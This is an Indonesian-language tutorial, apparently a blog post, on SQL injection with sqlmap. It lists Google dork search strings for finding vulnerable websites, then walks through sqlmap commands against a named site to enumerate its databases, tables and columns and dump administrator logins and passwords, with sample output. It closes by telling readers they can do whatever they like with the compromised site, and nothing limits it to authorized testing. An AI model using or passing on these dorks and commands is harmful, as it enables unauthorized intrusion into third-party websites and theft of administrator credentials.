Sql injection using Sqlmap

ok langsung saja, tidak perlu banyak basa-basi lagi

Cari target menggunakan google dorks

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=

dan masih banyak lagi yang lainnya. Jika target sudah di temukan, buka sqlmap, lokasinya di:

Application – Backtrack – Exploitation Tools – Web Exploitation Tools – Sqlmap

Pentest target menggunakan cara berikut:

python sqlmap.py -u http://www.dedetampan.com/catalog.php?id=129 --dbs

• -u = url

• --dbs = untuk mencari database
  
  Output:
  available databases [2]:
  [*] dede
  [*] information_schema

jika sudah menemukan databasenya, lanjut dengan cara berikut:

python sqlmap.py -u http://www.dedetampan.com/catalog.php?id=129 -D dede --tables 

• -D = nama database yang kita temukan tadi

• --tables = mencari nama tables
  Output:
  Database: dede
  [3 tables]
  +------------------------------+
  | access_log               |
  | administrators        |
  |  menus                     |
   

jika sudah menemukan nama tables, lanjut dengan cara berikut:

python sqlmap.py -u http://www.dedetampan.com/catalog.php?id=129 -D dede -T administrators --columns

• -T = nama tables

• --columns = mencari nama columns
  
  Output:
  [2 columns]
  +--------------+--------------+
  | Column       | Type    |
  +--------------+--------------+
  | admin_login  | text |
  | admin_passwd  | text |

jika sudah menemukan nama columns, lanjut dengan cara berikut:

python sqlmap.py -u http://www.dedetampan.com/catalog.php?id=129 -D dede -T administrators -C admin_login --dump

Output:
+--+
| admin-login |
+--+
|dedetampan|

 jika sudah mendapatkan nama username, lanjut dengan mencari password dari username tersebut:

python sqlmap.py -u http://www.dedetampan.com/catalog.php?id=129 -D dede -T administrators -C admin_passwd --dump

Output:
+--+
| admin-passwd |
+--+
|tb-cyber|

nah kalau sudah begini, sekarang terserah kalian mau di buat apa website tersebut
Vidionya menyusul, berhubung durasinya lumayan lama, jadi malas upload ke youtube